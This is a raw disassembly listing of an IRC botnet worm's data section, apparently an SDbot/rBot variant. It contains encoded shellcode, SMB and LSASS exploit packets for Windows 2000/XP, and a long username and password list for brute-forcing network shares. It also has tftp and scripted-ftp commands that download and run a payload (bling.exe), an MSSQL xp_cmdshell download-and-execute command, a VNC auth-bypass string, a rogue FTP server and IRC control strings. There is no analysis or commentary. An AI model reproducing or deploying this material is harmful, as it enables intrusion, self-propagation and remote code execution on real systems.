669BF398h, 411275CEh dd 999B9E5Eh dword_44A728 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_4116B3+162o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_44A810 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: .XComp0:00411CFDo dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_44A89C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .XComp0:00411D3Bo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_44A948 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .XComp0:00411D79o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_44AA28 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4116B3+8Ao dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_3: ; DATA XREF: sub_4116B3+C0o unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_44AA8C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4116B3+39Bo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_44AAF8 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4116B3+3DFo dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_44AB9C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4116B3+514o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_44AC1C dd offset loc_401494+1 ; DATA XREF: sub_4116B3+548o dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_44ACB0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4116B3+42Bo dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_44AD1C dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4116B3+45Co dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_44AD90 dd 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 2 dup(0) word_44AE18 dw 0AD9Dh ; DATA XREF: sub_41152D+2Cr ; sub_4116B3+13Dr align 4 dd 2 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 8 dword_44AE58 dd 1004600h ; sub_4116B3+202o ... dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_41152D+A2o aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_41152D+CBo db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0 align 10h aS_20 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_41152D+11Do align 4 dword_44AF98 dd 1CEC8166h dword_44AF9C dd 0E4FF07h dword_44AFA0 dd 73255C5Ch, 6370695Ch, 24h; --------------------------------------------------------------------------- loc_44AFAC: ; DATA XREF: sub_4116B3+1E3o jmp short loc_44AFB4 ; --------------------------------------------------------------------------- jmp short near ptr word_44AFB6 ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- loc_44AFB4: ; CODE XREF: .XComp0:loc_44AFACj ; DATA XREF: .XComp0:00411EEBo jnb short near ptr aAdm+3 ; --------------------------------------------------------------------------- word_44AFB6 dw 0 ; CODE XREF: .XComp0:0044AFAEj aRoot db 'root',0 ; DATA XREF: .XComp0:00411EF5o align 10h aAdmin db 'admin',0 ; DATA XREF: .XComp0:00411EFFo align 4 aAdministrator db 'administrator',0 ; DATA XREF: .XComp0:00411F1Ao align 4 aAdministrador db 'administrador',0 ; DATA XREF: .XComp0:00411F24o align 4 aAdministrateur db 'administrateur',0 ; DATA XREF: .XComp0:00411F2Eo align 4 aAdministrat db 'administrat',0 ; DATA XREF: .XComp0:00411F38o aAdmins db 'admins',0 ; DATA XREF: .XComp0:00411F42o align 4 aAdmin_0 db 'admin',0 ; DATA XREF: .XComp0:00411F4Co align 4 aAdm db 'adm',0 ; CODE XREF: .XComp0:loc_44AFB4j ; DATA XREF: .XComp0:00411F56o aPassword1 db 'password1',0 ; DATA XREF: .XComp0:00411F60o align 4 aPassword db 'password',0 ; DATA XREF: .XComp0:00411F6Ao align 10h aPasswd db 'passwd',0 ; DATA XREF: .XComp0:00411F74o align 4 aPass1234 db 'pass1234',0 ; DATA XREF: .XComp0:00411F7Eo align 4 aPass db 'pass',0 ; DATA XREF: .XComp0:00411F88o align 4 aPwd db 'pwd',0 ; DATA XREF: .XComp0:00411F92o a007 db '007',0 ; DATA XREF: .XComp0:00411F9Co a1: ; DATA XREF: .XComp0:00411FA6o unicode 0, <1>,0 a12 db '12',0 ; DATA XREF: .XComp0:00411FB0o align 4 a123 db '123',0 ; DATA XREF: .XComp0:00411FBAo a1234 db '1234',0 ; DATA XREF: .XComp0:00411FC4o align 4 a12345 db '12345',0 ; DATA XREF: .XComp0:00411FCEo align 10h a123456 db '123456',0 ; DATA XREF: .XComp0:00411FD8o align 4 a1234567 db '1234567',0 ; DATA XREF: .XComp0:00411FE2o a12345678 db '12345678',0 ; DATA XREF: .XComp0:00411FECo align 4 a123456789 db '123456789',0 ; DATA XREF: .XComp0:00411FF6o align 4 a1234567890 db '1234567890',0 ; DATA XREF: .XComp0:00412000o align 4 a2000 db '2000',0 ; DATA XREF: .XComp0:0041200Ao align 4 a2001 db '2001',0 ; DATA XREF: .XComp0:00412014o align 4 a2002 db '2002',0 ; DATA XREF: .XComp0:0041201Eo align 4 a2003 db '2003',0 ; DATA XREF: .XComp0:00412028o align 4 a2004 db '2004',0 ; DATA XREF: .XComp0:00412032o align 4 aTest db 'test',0 ; DATA XREF: .XComp0:0041203Co align 4 aGuest db 'guest',0 ; DATA XREF: .XComp0:00412046o align 4 aNone db 'none',0 ; DATA XREF: .XComp0:00412050o align 4 aDemo db 'demo',0 ; DATA XREF: .XComp0:0041205Ao align 4 aUnix db 'unix',0 ; DATA XREF: .XComp0:00412064o align 4 aLinux db 'linux',0 ; DATA XREF: .XComp0:0041206Eo align 4 aChangeme db 'changeme',0 ; DATA XREF: .XComp0:00412078o align 4 aDefault db 'default',0 ; DATA XREF: .XComp0:00412082o aSystem db 'system',0 ; DATA XREF: .XComp0:0041208Co align 4 aServer_0 db 'server',0 ; DATA XREF: .XComp0:00412096o align 10h aRoot_0 db 'root',0 ; DATA XREF: .XComp0:004120A0o align 4 aNull db 'null',0 ; DATA XREF: .XComp0:004120AAo align 10h aQwerty db 'qwerty',0 ; DATA XREF: .XComp0:004120B4o align 4 aMail db 'mail',0 ; DATA XREF: .XComp0:004120BEo align 10h aOutlook db 'outlook',0 ; DATA XREF: .XComp0:004120C8o aWeb db 'web',0 ; DATA XREF: .XComp0:004120D2o aWww db 'www',0 ; DATA XREF: .XComp0:004120DCo aInternet db 'internet',0 ; DATA XREF: .XComp0:004120E6o align 4 aAccounts db 'accounts',0 ; DATA XREF: .XComp0:004120F0o align 4 aAccounting db 'accounting',0 ; DATA XREF: .XComp0:004120FAo align 4 aHome db 'home',0 ; DATA XREF: .XComp0:00412104o align 4 aHomeuser db 'homeuser',0 ; DATA XREF: .XComp0:0041210Eo align 4 aUser_0 db 'user',0 ; DATA XREF: .XComp0:00412118o align 10h aOem db 'oem',0 ; DATA XREF: .XComp0:00412122o aOemuser db 'oemuser',0 ; DATA XREF: .XComp0:0041212Co aOeminstall db 'oeminstall',0 ; DATA XREF: .XComp0:00412136o align 4 aWindows db 'windows',0 ; DATA XREF: .XComp0:00412140o aWin98 db 'win98',0 ; DATA XREF: .XComp0:0041214Ao align 4 aWin2k db 'win2k',0 ; DATA XREF: .XComp0:00412154o align 10h aWinxp db 'winxp',0 ; DATA XREF: .XComp0:0041215Eo align 4 aWinnt db 'winnt',0 ; DATA XREF: .XComp0:00412168o align 10h aWin2000 db 'win2000',0 ; DATA XREF: .XComp0:00412172o aQaz db 'qaz',0 ; DATA XREF: .XComp0:0041217Co aAsd db 'asd',0 ; DATA XREF: .XComp0:00412186o aZxc db 'zxc',0 ; DATA XREF: .XComp0:00412190o aQwe db 'qwe',0 ; DATA XREF: .XComp0:0041219Ao aBob db 'bob',0 ; DATA XREF: .XComp0:004121A4o aJen db 'jen',0 ; DATA XREF: .XComp0:004121AEo aJoe db 'joe',0 ; DATA XREF: .XComp0:004121B8o aFred db 'fred',0 ; DATA XREF: .XComp0:004121C2o align 4 aBill db 'bill',0 ; DATA XREF: .XComp0:004121CCo align 4 aMike db 'mike',0 ; DATA XREF: .XComp0:004121D6o align 4 aJohn db 'john',0 ; DATA XREF: .XComp0:004121E0o align 4 aPeter db 'peter',0 ; DATA XREF: .XComp0:004121EAo align 4 aLuke db 'luke',0 ; DATA XREF: .XComp0:004121F4o align 4 aSam db 'sam',0 ; DATA XREF: .XComp0:004121FEo aSue db 'sue',0 ; DATA XREF: .XComp0:00412208o aSusan db 'susan',0 ; DATA XREF: .XComp0:00412212o align 4 aPeter_0 db 'peter',0 ; DATA XREF: .XComp0:0041221Co align 4 aBrian db 'brian',0 ; DATA XREF: .XComp0:00412226o align 4 aLee db 'lee',0 ; DATA XREF: .XComp0:00412230o aNeil db 'neil',0 ; DATA XREF: .XComp0:0041223Ao align 10h aIan db 'ian',0 ; DATA XREF: .XComp0:00412244o aChris db 'chris',0 ; DATA XREF: .XComp0:0041224Eo align 4 aEric db 'eric',0 ; DATA XREF: .XComp0:00412258o align 4 aGeorge db 'george',0 ; DATA XREF: .XComp0:00412262o align 4 aKate db 'kate',0 ; DATA XREF: .XComp0:0041226Co align 4 aBob_0 db 'bob',0 ; DATA XREF: .XComp0:00412276o aKatie db 'katie',0 ; DATA XREF: .XComp0:00412280o align 10h aMary db 'mary',0 ; DATA XREF: .XComp0:0041228Ao align 4 aLogin_0 db 'login',0 ; DATA XREF: .XComp0:00412294o align 10h aLoginpass db 'loginpass',0 ; DATA XREF: .XComp0:0041229Eo align 4 aTechnical db 'technical',0 ; DATA XREF: .XComp0:004122A8o align 4 aBackup db 'backup',0 ; DATA XREF: .XComp0:004122B2o align 10h aExchange db 'exchange',0 ; DATA XREF: .XComp0:004122BCo align 4 aFuck db 'fuck',0 ; DATA XREF: .XComp0:004122C6o align 4 aBitch db 'bitch',0 ; DATA XREF: .XComp0:004122D0o align 4 aSlut db 'slut',0 ; DATA XREF: .XComp0:004122DAo align 4 aSex db 'sex',0 ; DATA XREF: .XComp0:004122E4o aGod db 'god',0 ; DATA XREF: .XComp0:004122EEo aHell db 'hell',0 ; DATA XREF: .XComp0:004122F8o align 4 aHello db 'hello',0 ; DATA XREF: .XComp0:00412302o align 4 aDomain db 'domain',0 ; DATA XREF: .XComp0:0041230Co align 4 aDomainpass db 'domainpass',0 ; DATA XREF: .XComp0:00412316o align 10h aDomainpassword db 'domainpassword',0 ; DATA XREF: .XComp0:00412320o align 10h aDatabase db 'database',0 ; DATA XREF: .XComp0:0041232Ao align 4 aAccess db 'access',0 ; DATA XREF: .XComp0:00412334o align 4 aDbpass db 'dbpass',0 ; DATA XREF: .XComp0:0041233Eo align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: .XComp0:00412348o align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: .XComp0:00412352o align 4 aData db 'data',0 ; DATA XREF: .XComp0:0041235Co align 10h aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .XComp0:00412366o align 4 aDb1 db 'db1',0 ; DATA XREF: .XComp0:00412370o aDb2 db 'db2',0 ; DATA XREF: .XComp0:0041237Ao aDb1234 db 'db1234',0 ; DATA XREF: .XComp0:00412384o align 4 aSa db 'sa',0 ; DATA XREF: .XComp0:0041238Eo align 4 aSql db 'sql',0 ; DATA XREF: .XComp0:00412398o aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .XComp0:004123A2o align 10h aOrainstall db 'orainstall',0 ; DATA XREF: .XComp0:004123ACo align 4 aOracle db 'oracle',0 ; DATA XREF: .XComp0:004123B6o align 4 aIbm db 'ibm',0 ; DATA XREF: .XComp0:004123C0o aCisco db 'cisco',0 ; DATA XREF: .XComp0:004123CAo align 10h aDell db 'dell',0 ; DATA XREF: .XComp0:004123D4o align 4 aCompaq db 'compaq',0 ; DATA XREF: .XComp0:004123DEo align 10h aSiemens db 'siemens',0 ; DATA XREF: .XComp0:004123E8o aHp db 'hp',0 ; DATA XREF: .XComp0:004123F2o align 4 aNokia db 'nokia',0 ; DATA XREF: .XComp0:004123FCo align 4 aXp db 'xp',0 ; DATA XREF: .XComp0:00412406o align 4 aControl db 'control',0 ; DATA XREF: .XComp0:00412410o aOffice db 'office',0 ; DATA XREF: .XComp0:0041241Ao align 4 aBlank db 'blank',0 ; DATA XREF: .XComp0:00412424o align 10h aWinpass db 'winpass',0 ; DATA XREF: .XComp0:0041242Eo aMain db 'main',0 ; DATA XREF: .XComp0:00412438o align 10h aLan db 'lan',0 ; DATA XREF: .XComp0:00412442o aInternet_0 db 'internet',0 ; DATA XREF: .XComp0:0041244Co align 10h aIntranet db 'intranet',0 ; DATA XREF: .XComp0:00412456o align 4 aStudent db 'student',0 ; DATA XREF: .XComp0:00412460o aTeacher db 'teacher',0 ; DATA XREF: .XComp0:0041246Ao aStaff db 'staff',0 ; DATA XREF: .XComp0:00412474o align 4 aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0 ; DATA XREF: .XComp0:00412598o align 4 ; aExecMaster(long long, *) aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us' ; DATA XREF: .XComp0:00412641o db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq ' db '&%s&del eq',0Dh,0Ah db 27h,0 align 4 aExecMaster___0 db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: .XComp0:00412685o align 4 dword_44B518 dd 21F5B1Fh, 544F4F52h, 1F024445h, 0BB201F5Dh, 4920BBBBh ; DATA XREF: .XComp0:0041269Do dd 25203A50h, 73h unk_44B534 db 2 ; DATA XREF: .XComp0:0041270Eo db 28h, 6Dh, 73h db 71h ; q db 6Ch, 29h, 1Fh db 20h db 2, 2 dup(0BBh) db 2 aTryingSDUserSS db ' Trying: (%s:%d) user: (%s/%s).',0 align 4 word_44B564 dw 1 ; DATA XREF: .XComp0:0041288Br align 4 dword_44B568 dd 20424652h, 64333025h, 3330252Eh, 0A64haVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: .XComp0:00412C3Fo align 4 aCmd db 'cmd',0 ; DATA XREF: .XComp0:loc_4131CFo ; .XComp0:004131E2r aExit db 'exit',0 ; DATA XREF: .XComp0:loc_41336Ao ; .XComp0:0041337Dr align 4 word_44B5A4 dw 4 ; DATA XREF: sub_412CE8+8r align 4 word_44B5A8 dw 1 ; DATA XREF: sub_412CE8+12r align 4 dword_44B5AC dd 20424652h, 2E333030h, 0A383030h, 0dword_44B5BC dd 201h word_44B5C0 dw 1 ; DATA XREF: .XComp0:00412F63r align 4 word_44B5C4 dw 1 ; DATA XREF: .XComp0:00412F6Dr align 4 dword_44B5C8 dd 0EBFFh dword_44B5CC dd 51FFh dword_44B5D0 dd 0DFFh word_44B5D4 dw 72h ; DATA XREF: .XComp0:00412F98r align 4 dword_44B5D8 dd 6325h aTftpISGetS_0 db 'tftp -i %s GET %s',0 ; DATA XREF: .XComp0:00413257o align 10h aC_0 db '%c',0 ; DATA XREF: .XComp0:00413296o align 4 aC_1 db '%c',0 ; DATA XREF: .XComp0:00413313o align 4 aC_2 db '%c',0 ; DATA XREF: .XComp0:00413385o align 4 aCmd_exe db 'cmd.exe',0 aEchoOpenSDOE_1 db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o' db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 aSS_8 db '%s %s',0 align 4 aUser_4 db 'USER',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aPass_1 db 'PASS',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aRest db 'REST',0 align 4 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 dd offset off_445750 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 aType db 'TYPE',0 align 4 aA_0: unicode 0, <A>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aType_0 db 'TYPE',0 align 4 aI_0: unicode 0, <I>,0 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aPasv db 'PASV',0 align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 10h aList_0 db 'LIST',0 align 4 a226TransferCom db '226 Transfer complete',0Ah,0 align 10h aPort db 'PORT',0 align 4 aS_34 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aXX db '%x%x',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aRetr db 'RETR',0 align 4 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 align 4 aFtpTransferSta db 'ftp transfer started to: %s',0 a226TransferC_0 db '226 Transfer complete.',0Ah,0 aFtpTransferCom db 'ftp transfer complete to: %s',0 align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 align 10h aQuit_1 db 'QUIT',0 align 4 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 aRb db 'rb',0 ; DATA XREF: .XComp0:00414433o align 4 aGet db 'GET ',0 ; DATA XREF: sub_4144BD+45Eo align 10h asc_44B900: ; DATA XREF: sub_4144BD+487o unicode 0, < >,0 asc_44B904: ; DATA XREF: sub_4144BD+48Co unicode 0, < >,0 aGet_0 db 'GET ',0 ; DATA XREF: sub_4144BD+491o align 10h asc_44B910 db 0Dh,0Ah,0 ; DATA XREF: sub_4144BD:loc_414990o align 4 unk_44B914 db 2Dh ; - ; DATA XREF: sub_4144BD+63Fo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 aTextHtml db 'text/html',0 ; DATA XREF: sub_414B70+6Bo align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_414B70:loc_414BF0o align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_414B70+9Co align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_414B70+B9o align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_414B70+107o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_414B70+154o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aS_21 db '\%s',0 ; DATA XREF: sub_414D5E+35o aS_22 db '%s',0 ; DATA XREF: sub_414D5E+54o align 4 aSS_1 db '%s%s',0 ; DATA XREF: sub_414D5E+170o align 10h asc_44BB60: ; DATA XREF: sub_414D5E+184o dw 0Ah unicode 0, <>,0 asc_44BB64: ; DATA XREF: sub_414D5E+216o unicode 0, <*>,0 unk_44BB68 db 2Dh ; - ; DATA XREF: sub_414D5E+2EFo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 unk_44BB9C db 2Dh ; - ; DATA XREF: sub_414D5E+39Co db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_23 db ' failed to start worker thread, error %d',0 align 4 asc_44BBD4: ; DATA XREF: sub_415120+43o dw 0Ah unicode 0, <>,0 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_415120+5Eo aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_415120+9Ao db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_415120+D6o db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_415120+128o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_415120+161o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_415120+17Fo aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_415120:loc_415354o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 a__ db '..',0 ; DATA XREF: sub_415120+2A5o align 4 a__0: ; DATA XREF: sub_415120+2C0o unicode 0, <.>,0 aPm_0 db 'PM',0 ; DATA XREF: sub_415120+30Fo align 10h aAm db 'AM',0 ; DATA XREF: sub_415120:loc_41543Bo align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_415120+37Co aS_23 db '<%s>',0 ; DATA XREF: sub_415120+3B5o align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_415120+3DFo align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_415120+40Ao db '<TD WIDTH="%d"><A HREF="',0 align 4 aSS_2 db '%s%s/',0 ; DATA XREF: sub_415120+44Do align 10h aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_415120+49Fo align 10h aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_415120+4C1o align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_415120+507o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aS_24 db '<%s>',0 ; DATA XREF: sub_415120+529o align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_415120+550o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_415120+59Eo align 10h aTrTdWidthDAH_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_415120+5C9o db '<TD WIDTH="%d"><A HREF="',0 align 10h aSS_3 db '%s%s',0 ; DATA XREF: sub_415120+60Co align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_415120+661o align 4 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_415120+683o align 10h aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_415120+6D3o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_415120+702o align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_415120+77Fo align 4 aTrTdColspan3_0 db 